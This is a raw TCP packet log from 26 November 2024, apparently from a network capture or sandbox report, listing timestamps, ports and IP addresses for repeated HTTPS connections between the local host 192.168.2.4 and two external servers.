Nov 26, 2024 08:55:28.424019098 CET	49852	443	192.168.2.4	142.250.181.110
Nov 26, 2024 08:55:28.424036980 CET	443	49852	142.250.181.110	192.168.2.4
Nov 26, 2024 08:55:28.424283981 CET	443	49852	142.250.181.110	192.168.2.4
Nov 26, 2024 08:55:28.424307108 CET	49852	443	192.168.2.4	142.250.181.110
Nov 26, 2024 08:55:28.424316883 CET	443	49852	142.250.181.110	192.168.2.4
Nov 26, 2024 08:55:28.424386978 CET	49852	443	192.168.2.4	142.250.181.110
Nov 26, 2024 08:55:28.424386978 CET	49852	443	192.168.2.4	142.250.181.110
Nov 26, 2024 08:55:28.426429033 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.428062916 CET	49854	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.428097010 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.428560972 CET	49854	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.428567886 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.562628031 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.563241005 CET	49855	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.563280106 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.563550949 CET	49855	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.563560009 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.701024055 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.701562881 CET	49856	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.701586962 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.702956915 CET	49856	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.702960968 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.825438023 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.826098919 CET	49857	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.826128960 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.826956987 CET	49857	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.826965094 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.869080067 CET	443	49858	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.870496988 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.870678902 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.870735884 CET	49854	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.877459049 CET	49858	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.877495050 CET	443	49858	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.878132105 CET	49858	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.878144979 CET	443	49858	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.878525019 CET	49854	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.878563881 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.878576994 CET	49854	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.878582954 CET	443	49854	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.887624979 CET	49862	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.887674093 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:28.887732029 CET	49862	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.887979984 CET	49862	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:28.887989998 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.007586002 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.007658005 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.007708073 CET	49855	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.062120914 CET	49855	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.062160969 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.062180042 CET	49855	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.062187910 CET	443	49855	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.081393957 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.081446886 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.081549883 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.085081100 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.085092068 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.154824018 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.154907942 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.154961109 CET	49856	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.175833941 CET	49856	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.175873995 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.175889969 CET	49856	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.175898075 CET	443	49856	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.238143921 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.238204002 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.238276005 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.241888046 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.241910934 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.269834995 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.269907951 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.269992113 CET	49857	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.289084911 CET	49857	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.289139986 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.289160967 CET	49857	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.289169073 CET	443	49857	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.292376041 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.292488098 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.292596102 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.292722940 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.292745113 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.307861090 CET	443	49858	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.307934046 CET	443	49858	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.307981014 CET	49858	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.308190107 CET	49858	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.308213949 CET	443	49858	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.308228016 CET	49858	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.308233976 CET	443	49858	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.313714981 CET	49866	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.313755035 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:29.313811064 CET	49866	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.314089060 CET	49866	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:29.314104080 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:30.671540022 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:30.672111034 CET	49862	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:30.672158003 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:30.673042059 CET	49862	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:30.673051119 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:30.868113041 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:30.868653059 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:30.868684053 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:30.869167089 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:30.869173050 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.078839064 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.079382896 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.079416037 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.079874039 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.079879999 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.087959051 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.088335037 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.088352919 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.088740110 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.088746071 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.116255045 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.116342068 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.116379023 CET	49862	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.116570950 CET	49862	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.116584063 CET	443	49862	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.119107962 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.119148970 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.119199038 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.119353056 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.119363070 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.163113117 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.163574934 CET	49866	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.163594961 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.164047956 CET	49866	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.164052963 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.312797070 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.312882900 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.313030005 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.319240093 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.319350004 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.327152967 CET	49863	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.327198982 CET	443	49863	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.355830908 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.355901003 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.355974913 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.358377934 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.358393908 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.524372101 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.524437904 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.524661064 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.526391983 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.526421070 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.526436090 CET	49865	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.526443958 CET	443	49865	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.529704094 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.529746056 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.529879093 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.529992104 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.530006886 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.543864965 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.544086933 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.544153929 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.545665026 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.545665026 CET	49864	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.545685053 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.545696020 CET	443	49864	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.617815018 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.617897034 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.617999077 CET	49866	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.765754938 CET	49866	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.765789986 CET	443	49866	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.836194038 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.836266994 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.836432934 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.837419987 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.837490082 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.837542057 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.837815046 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.837830067 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:31.838102102 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:31.838115931 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:32.904731035 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:32.905332088 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:32.905365944 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:32.905802011 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:32.905807972 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.085347891 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.086879969 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.086927891 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.087265015 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.087270975 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.311546087 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.311943054 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.311969995 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.312387943 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.312391996 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.350907087 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.351008892 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.351072073 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.353115082 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.353116035 CET	49868	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.353140116 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.353152990 CET	443	49868	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.366300106 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.366369009 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.366434097 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.366564035 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.366575956 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.522253036 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.522422075 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.522480965 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.522768021 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.522804022 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.522825003 CET	49869	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.522831917 CET	443	49869	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.525446892 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.525489092 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.525736094 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.526098013 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.526120901 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.553699017 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.554174900 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.554219007 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.554497004 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.554503918 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.618913889 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.620660067 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.620702028 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.621433973 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.621440887 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.757106066 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.757181883 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.757312059 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.757489920 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.757517099 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.757529974 CET	49870	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.757535934 CET	443	49870	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.760390997 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.760426044 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.760519028 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.760662079 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:33.760672092 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.989342928 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.989411116 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:33.989484072 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:34.033858061 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:34.033858061 CET	49872	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:34.033951998 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:34.033986092 CET	443	49872	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:34.063612938 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:34.063688040 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:34.063796997 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:34.316080093 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:34.316126108 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:34.316145897 CET	49871	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:34.316155910 CET	443	49871	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:34.340154886 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:34.340209961 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:34.340292931 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:34.366383076 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:34.366477966 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:34.369930029 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:34.369985104 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:34.370203972 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:34.370594978 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:34.370608091 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.152570009 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.153167963 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.153258085 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.153616905 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.153630018 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.246355057 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.247200012 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.247220993 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.247447014 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.247452021 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.596364975 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.596462011 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.598499060 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.598582983 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.598615885 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.598640919 CET	49874	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.598648071 CET	443	49874	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.601161003 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.601207018 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.601275921 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.601454973 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.601468086 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.604218960 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.604598999 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.604618073 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.604995966 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.605000973 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.682693958 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.682864904 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.682936907 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.683008909 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.683032036 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.683043957 CET	49875	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.683049917 CET	443	49875	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.686352968 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.686397076 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:35.686467886 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.686831951 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:35.686846972 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.058729887 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.058818102 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.058864117 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.059084892 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.059108973 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.059122086 CET	49876	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.059127092 CET	443	49876	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.061909914 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.061965942 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.062037945 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.062320948 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.062344074 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.082076073 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.083252907 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.083288908 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.083939075 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.083950043 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.150499105 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.151144028 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.151166916 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.151977062 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.151984930 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.517927885 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.518007994 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.518059969 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.543751001 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.543771982 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.543782949 CET	49877	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.543788910 CET	443	49877	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.596530914 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.596604109 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.596648932 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.605000019 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.605026007 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.605042934 CET	49878	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.605048895 CET	443	49878	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.620659113 CET	49885	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.620702982 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.620764971 CET	49885	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.622016907 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.622057915 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.622114897 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.622176886 CET	49885	443	192.168.2.4	13.107.246.63
